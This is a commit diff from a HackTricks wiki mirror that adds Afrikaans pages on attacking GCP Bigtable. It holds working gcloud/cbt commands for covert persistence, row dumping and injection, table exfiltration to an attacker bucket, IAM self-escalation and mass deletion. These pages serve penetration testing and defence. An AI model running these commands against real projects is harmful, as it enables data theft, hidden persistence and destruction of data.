mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 12:51:33 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigta
This commit is contained in:
Translator
@@ -0,0 +1,52 @@
|
||||
# GCP - Bigtable Persistensie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Vir meer inligting oor Bigtable, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Toegewyd aanvaller App Profile
|
||||
|
||||
**Permissies:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
Skep 'n app profile wat verkeer na jou replica cluster herlei en skakel Data Boost aan sodat jy nooit op provisioned nodes afhanklik is wat verdedigers mag opmerk nie.
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
--row-affinity --description="internal batch"
|
||||
|
||||
gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
Solank hierdie profiel bestaan, kan jy weer koppel met vars credentials wat daarna verwys.
|
||||
|
||||
### Onderhou jou eie replika-kluster
|
||||
|
||||
**Permissies:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
Skep 'n kluster met 'n minimale node-count in 'n stil streek. Selfs as jou client-identiteite verdwyn, **hou die kluster 'n volle kopie van elke tabel** totdat verdedigers dit uitdruklik verwyder.
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
Hou dit dop met `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` sodat jy onmiddellik kan opskaal wanneer jy data moet uittrek.
|
||||
|
||||
### Sluit replikasie agter jou eie CMEK
|
||||
|
||||
**Permissies:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` op die sleutel wat aan die aanvaller behoort.
|
||||
|
||||
Neem jou eie KMS-sleutel wanneer jy 'n kloon opsit. Sonder daardie sleutel kan Google die cluster nie her-skep of fail over nie; blue teams moet dus eers met jou koördineer voordat hulle dit aanraak.
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
Draai of deaktiveer die sleutel in jou projek om die replica onmiddellik te brick (terwyl jy dit later steeds weer kan aanskakel).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,252 @@
|
||||
# GCP - Bigtable Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Vir meer inligting oor Bigtable, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> Installeer die `cbt` CLI eenmalig via die Cloud SDK sodat die onderstaande opdragte plaaslik werk:
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
|
||||
### Lees rye
|
||||
|
||||
**Permissies:** `bigtable.tables.readRows`
|
||||
|
||||
Die `cbt` kom met die Cloud SDK en kommunikeer direk met die admin/data APIs sonder enige middleware. Wys dit na die gekompromitteerde projek/instansie en dump rye direk vanaf die tabel. Beperk die skandering as jy net wil kyk.
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
### Skryf rye
|
||||
|
||||
**Toestemmings:** `bigtable.tables.mutateRows`, (jy sal `bigtable.tables.readRows` nodig hê om die verandering te bevestig).
|
||||
|
||||
Gebruik dieselfde hulpmiddel om arbitrêre selle te upsert. Dit is die vinnigste manier om configs te backdoor, web shells te drop, of poisoned dataset rows te plant.
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
|
||||
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` aanvaar ruwe bytes via die `@/path` sintaksis, sodat jy gecompileerde payloads of geserialiseerde protobufs presies kan stoot soos downstream-dienste dit verwag.
|
||||
|
||||
### Exfiltreer rye na jou bucket
|
||||
|
||||
**Permissies:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Dit is moontlik om die inhoud van 'n volledige tabel na 'n bucket wat deur die aanvaller beheer word uit te voer deur 'n Dataflow job te loods wat rye na 'n GCS bucket wat jy beheer, stroom.
|
||||
|
||||
> [!NOTE]
|
||||
> Let wel dat jy die permissie `iam.serviceAccounts.actAs` oor 'n SA met genoeg permissies sal benodig om die eksport uit te voer (by verstek, tensy anders aangedui, sal die standaard compute SA gebruik word).
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=<PROJECT> \
|
||||
--region=<REGION> \
|
||||
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run dump-bigtable3 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--region=us-central1 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
> [!NOTE]
|
||||
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.
|
||||
|
||||
### Import rows
|
||||
|
||||
**Toestemmings:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Dit is moontlik om die inhoud van 'n hele tabel in te voer vanaf 'n bucket wat deur die aanvaller beheer word deur 'n Dataflow-job te loods wat rye na 'n GCS-bucket wat jy beheer stroom. Hiervoor sal die aanvaller eers 'n parquet-lêer moet skep met die data wat ingevoer moet word en die verwagte schema. 'n Aanvaller kan eers die data in parquet-formaat uitvoer volgens die vorige tegniek met die instelling `Cloud_Bigtable_to_GCS_Parquet` en nuwe inskrywings by die afgelaaide parquet-lêer voeg
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> Note that you will need the permission `iam.serviceAccounts.actAs` over a some SA with enough permissions to perform the export (by default, if not aindicated otherwise, the default compute SA will be used).
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=<PROJECT> \
|
||||
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=us-central1 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
### Herstel van backups
|
||||
|
||||
**Toestemmings:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
'n aanvaller met hierdie toestemmings kan 'n backup na 'n nuwe tabel onder sy beheer herstel om toegang tot ou sensitiewe data te kry.
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
|
||||
gcloud bigtable instances tables restore \
|
||||
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
|
||||
--async \
|
||||
--destination=<TABLE_ID_NEW> \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
### Herstel verwyderde tabelle
|
||||
|
||||
**Permissies:** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable ondersteun sagte verwydering met 'n respytperiode (gewoonlik 7 dae standaard). Gedurende hierdie venster kan 'n attacker met die `bigtable.tables.undelete` permissie 'n onlangs verwyderde tabel herstel en al die data daarvan terugkry, moontlik toegang verkry tot sensitiewe inligting wat as vernietig beskou is.
|
||||
|
||||
Dit is veral nuttig vir:
|
||||
- Herstel van data uit tabelle wat deur defenders tydens incident response verwyder is
|
||||
- Toegang tot historiese data wat doelbewus uitgevee is
|
||||
- Om onopsetlike of kwaadwillige verwyderings om te keer om persistence te handhaaf
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
--show-deleted
|
||||
|
||||
# Undelete a table within the retention period
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Die undelete-operasie werk slegs binne die gekonfigureerde retensieperiode (standaard 7 dae). Nadat hierdie venster verstryk het, word die tabel en die data permanent verwyder en kan nie deur hierdie metode herstel word nie.
|
||||
|
||||
|
||||
### Skep Authorized Views
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Authorized views laat jou 'n gekose substel van die tabel aanbied. In plaas daarvan om least privilege te eerbiedig, gebruik dit om **presies die sensitiewe kolom-/rystelle** wat jou interesseer te publiseer en jou eie principal op die whitelist te plaas.
|
||||
|
||||
> [!WARNING]
|
||||
> Die probleem is dat om 'n authorized view te skep jy ook in staat moet wees om rye in die basistabel te lees en te muteer; dus verwerf jy geen ekstra toestemming nie, en daarom is hierdie tegniek oor die algemeen nutteloos.
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": ["acct#"],
|
||||
"familySubsets": {
|
||||
"pii": {
|
||||
"qualifiers": ["cc_number", "cc_cvv"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
gcloud bigtable authorized-views create card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/credit-cards.json
|
||||
|
||||
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
Omdat toegang tot die aansig beperk is, onderskat verdedigers dikwels die feit dat jy net 'n nuwe hoogs-sensitiewe eindpunt geskep het.
|
||||
|
||||
### Lees Gemagtigde Aansigte
|
||||
|
||||
**Permissies:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
As jy toegang het tot 'n gemagtigde aansig, kan jy data daaruit lees met die Bigtable kliëntbiblioteke deur die naam van die gemagtigde aansig in jou leesversoeke te spesifiseer. Let wel dat die gemagtigde aansig waarskynlik sal beperk watter data jy uit die tabel kan kry. Hieronder is 'n voorbeeld in Python:
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
from google.cloud.bigtable_v2 import ReadRowsRequest
|
||||
|
||||
# Set your project, instance, table, view id
|
||||
PROJECT_ID = "gcp-labs-3uis1xlx"
|
||||
INSTANCE_ID = "avesc-20251118172913"
|
||||
TABLE_ID = "prod-orders"
|
||||
AUTHORIZED_VIEW_ID = "auth_view"
|
||||
|
||||
client = bigtable.Client(project=PROJECT_ID, admin=True)
|
||||
instance = client.instance(INSTANCE_ID)
|
||||
table = instance.table(TABLE_ID)
|
||||
|
||||
data_client = DataClient()
|
||||
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
|
||||
|
||||
request = ReadRowsRequest(
|
||||
authorized_view_name=authorized_view_name
|
||||
)
|
||||
|
||||
rows = data_client.read_rows(request=request)
|
||||
for response in rows:
|
||||
for chunk in response.chunks:
|
||||
if chunk.row_key:
|
||||
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
|
||||
print(f"Row: {row_key}")
|
||||
if chunk.family_name:
|
||||
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
|
||||
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
### Denial of Service via Delete Operations
|
||||
|
||||
**Permissions:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Enige van die Bigtable delete permissions kan gebruik word vir denial of service-aanvalle. 'n Aanvaller met hierdie permissions kan bedrywighede ontwrig deur kritieke Bigtable-bronne te delete:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: Delete application profiles, waardeur kliëntverbindings en roeteringskonfigurasies verbreek word
|
||||
- **`bigtable.authorizedViews.delete`**: Remove authorized views, waardeur wettige toegangspade vir toepassings afgesny word
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Remove tag bindings from authorized views, wat tag-bindings verwyder wat toegangskontroles kan beïnvloed
|
||||
- **`bigtable.backups.delete`**: Destroy backup snapshots, waardeur rampherstelopsies uitgeskakel word
|
||||
- **`bigtable.clusters.delete`**: Delete entire clusters, wat onmiddellike onbeskikbaarheid van data veroorsaak
|
||||
- **`bigtable.instances.delete`**: Remove complete Bigtable instances, wat alle tabelle en konfigurasies uitwis
|
||||
- **`bigtable.tables.delete`**: Delete individual tables, wat dataverlies en toepassingsfoute veroorsaak
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an authorized view
|
||||
gcloud bigtable authorized-views delete <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
|
||||
# Delete a backup
|
||||
gcloud bigtable backups delete <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id>
|
||||
|
||||
# Delete an app profile
|
||||
gcloud bigtable app-profiles delete <profile-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete a cluster
|
||||
gcloud bigtable clusters delete <cluster-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Verwyderingsoperasies is dikwels onmiddellik en onomkeerbaar. Maak seker dat daar rugsteun is voordat u hierdie opdragte toets, aangesien dit permanente dataverlies en ernstige diensonderbreking kan veroorsaak.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,103 @@
|
||||
# GCP - Bigtable Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Vir meer inligting oor Bigtable, sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**Permissies:** `bigtable.instances.setIamPolicy` (en gewoonlik `bigtable.instances.getIamPolicy` om die huidige bindings te lees).
|
||||
|
||||
As jy die instansie IAM-beleid besit, kan jy jouself **`roles/bigtable.admin`** (of enige pasgemaakte rol) toeken wat na elke cluster, tabel, rugsteun en gemagtigde aansig in die instansie versprei.
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> As jy nie die bestaande bindinge kan lys nie, stel 'n vars beleidsdokument op en stuur dit met `gcloud bigtable instances set-iam-policy` solank jy jouself daarop hou.
|
||||
|
||||
Nadat jy hierdie permissie het, kyk in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) vir meer maniere om Bigtable-permissies te misbruik.
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**Permissies:** `bigtable.tables.setIamPolicy` (opsioneel `bigtable.tables.getIamPolicy`).
|
||||
|
||||
Instansiebeleid kan streng beperk word terwyl individuele tabelle gedelegeer word. As jy die tabel IAM kan wysig, kan jy jouself **bevorder tot eienaar van die teiken-datastel** sonder om ander werkladinge te raak.
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Sodra jy hierdie permissie het, kyk in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) vir meer maniere om Bigtable-toestemmings te misbruik.
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**Permissies:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
Backups kan herstel word na **enige instansie in enige projek** wat jy beheer. Gee eers jou identiteit toegang tot die backup, en herstel dit dan in 'n sandbox waar jy Admin/Owner-rolle het.
|
||||
|
||||
As jy die permissie `bigtable.backups.setIamPolicy` het, kan jy jouself die permissie `bigtable.backups.restore` toeken om ou backups te herstel en te probeer toegang te kry tot sensitiewe inligting.
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Nadat jy hierdie toestemming het, kyk in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) om te sien hoe om 'n rugsteun te herstel.
|
||||
|
||||
|
||||
### Opdateer authorized view
|
||||
|
||||
**Permissies:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views is veronderstel om rye/kolomme te redigeer. Wysig of verwyder dit en jy verwyder die fynkorrelige beskerming waarop verdedigers staatmaak.
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/permissive-view.json --ignore-warnings
|
||||
|
||||
# Json example not filtering any row or column
|
||||
cat <<'EOF' > /tmp/permissive-view.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": [""],
|
||||
"familySubsets": {
|
||||
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
|
||||
"qualifierPrefixes": [""]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Describe the authorized view to get a family name
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
Raadpleeg die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) om te sien hoe om uit 'n Authorized View te lees.
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**Permissies:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
’n Aanvaller met hierdie permissie kan hulself toegang gee tot ’n Authorized View, wat sensitiewe data kan bevat waartoe hulle andersins nie toegang sou hê nie.
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
Na hierdie toestemmingskontrole in die [**Bigtable Post Exploitation afdeling**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) om te sien hoe om vanaf 'n gemagtigde uitsig te lees.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -2,9 +2,70 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
|
||||
## Bigtable
|
||||
|
||||
'n Volledig bestuurde, skaalbare NoSQL-databasisdiens vir groot analitiese en operasionele werklas met tot 99.999% beskikbaarheid. [Learn more](https://cloud.google.com/bigtable).
|
||||
Google Cloud Bigtable is 'n volledig bestuurde, skaalbare NoSQL-databasis wat ontwerp is vir toepassings wat buitengewoon hoë deurset en lae latensie vereis. Dit is gebou om massiewe hoeveelhede data te hanteer — petabytes oor duisende nodes — terwyl dit steeds vinnige lees- en skryfprestasie bied. Bigtable is ideaal vir werkladinge soos time-series data, IoT-telemetrie, finansiële analise, personaliseringsengines en groot-skaalse operasionele databasisse. Dit gebruik 'n spars, verspreide, veeldimensionele gesorteerde map as die onderliggende stoor-model, wat dit doeltreffend maak om breë tabelle te stoor waar baie kolomme leeg kan wees. [Learn more](https://cloud.google.com/bigtable).
|
||||
|
||||
### Hiërargie
|
||||
|
||||
1. **Bigtable Instansie**
|
||||
|
||||
'n Bigtable-instansie is die topvlak hulpbron wat jy skep.
|
||||
Dit stoor nie data op sigself nie—dink daaraan as 'n logiese houer wat jou clusters en tabelle groepeer.
|
||||
|
||||
Twee tipes instansies bestaan:
|
||||
|
||||
- Development instance (single-node, goedkoop, nie vir produksie nie)
|
||||
- Production instance (kan meerdere clusters hê)
|
||||
|
||||
2. **Clusters**
|
||||
|
||||
'n Cluster bevat die werklike compute- en stoorhulpbronne wat gebruik word om Bigtable-data te bedien.
|
||||
|
||||
- Elke cluster leef in 'n enkele streek.
|
||||
- Dit bestaan uit nodes, wat CPU, RAM en netwerkvermoëns verskaf.
|
||||
- Jy kan multi-cluster instansies skep vir hoë beskikbaarheid of globale lees/sryf.
|
||||
- Data word outomaties gerepliseer tussen clusters in dieselfde instansie.
|
||||
|
||||
Belangrik:
|
||||
- Tabelle behoort aan die instansie, nie aan 'n spesifieke cluster nie.
|
||||
- Clusters verskaf bloot die hulpbronne om die data te bedien.
|
||||
|
||||
3. **Tabelle**
|
||||
|
||||
'n Tabel in Bigtable is soortgelyk aan 'n tabel in NoSQL-databasisse:
|
||||
|
||||
- Data word in rye gestoor, geïdentifiseer deur 'n row key.
|
||||
- Elke ry bevat kolomfamilies, wat kolomme bevat.
|
||||
- Dit is spars: leë selle verbruik nie ruimte nie.
|
||||
- Bigtable stoor data gesorteer leksikografies volgens die row key.
|
||||
|
||||
Tabelle word bedien deur alle clusters in die instansie.
|
||||
|
||||
4. **Tablets (and Hot Tablets)**
|
||||
|
||||
Bigtable verdeel elke tabel in horisontale partisies genaamd tablets. 'n tablet is 'n:
|
||||
|
||||
- Aaneenlopende reeks van row keys.
|
||||
- Gestoor op 'n enkele node op enige gegewe oomblik.
|
||||
- Tablets word outomaties gesplit, saamgevoeg en verskuif deur Bigtable.
|
||||
|
||||
'n **Hot tablet** gebeur wanneer:
|
||||
|
||||
- Te veel lees- of skryfaksies dieselfde row-key-reeks (dieselfde tablet) tref.
|
||||
- Daardie spesifieke tablet/node oorlaai raak.
|
||||
- Dit lei tot hotspots (prestasie-vernouings).
|
||||
|
||||
5. **Authorized Views**
|
||||
|
||||
Authorized views laat jou toe om 'n substel van 'n tabel se data te skep wat gedeel kan word met spesifieke gebruikers of toepassings sonder om hulle toegang tot die hele tabel te gee. Dit is nuttig vir:
|
||||
|
||||
- Beperking van toegang tot sensitiewe data.
|
||||
- Verskaffing van read-only toegang tot spesifieke kolomme of rye.
|
||||
|
||||
6. **App Profiles**
|
||||
|
||||
'n Bigtable app profile is 'n konfigurasie wat definieer hoe 'n spesifieke toepassing of kliënt met 'n Bigtable-instansie moet skakel, veral in omgewings met meerdere clusters. Dit beheer routeringsgedrag—of versoeke na 'n enkele cluster gestuur moet word of oor meerdere clusters versprei moet word vir hoë beskikbaarheid—en regeer hoe skryfaksies gerepliseer word, met keuses tussen sinchrone (sterker konsistensie) of asinchrone (laer latensie) modusse.
|
||||
```bash
|
||||
# Cloud Bigtable
|
||||
gcloud bigtable instances list
|
||||
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
|
||||
gcloud bigtable clusters list
|
||||
gcloud bigtable clusters describe <cluster>
|
||||
|
||||
## Tables
|
||||
gcloud bigtable tables list --instance <INSTANCE>
|
||||
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
|
||||
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
|
||||
|
||||
## Backups
|
||||
gcloud bigtable backups list --instance <INSTANCE>
|
||||
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
|
||||
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
|
||||
## App Profiles
|
||||
gcloud bigtable app-profiles list --instance <INSTANCE>
|
||||
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
|
||||
|
||||
## Authorized Views
|
||||
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
|
||||
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
|
||||
```
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigtable-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-bigtable-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user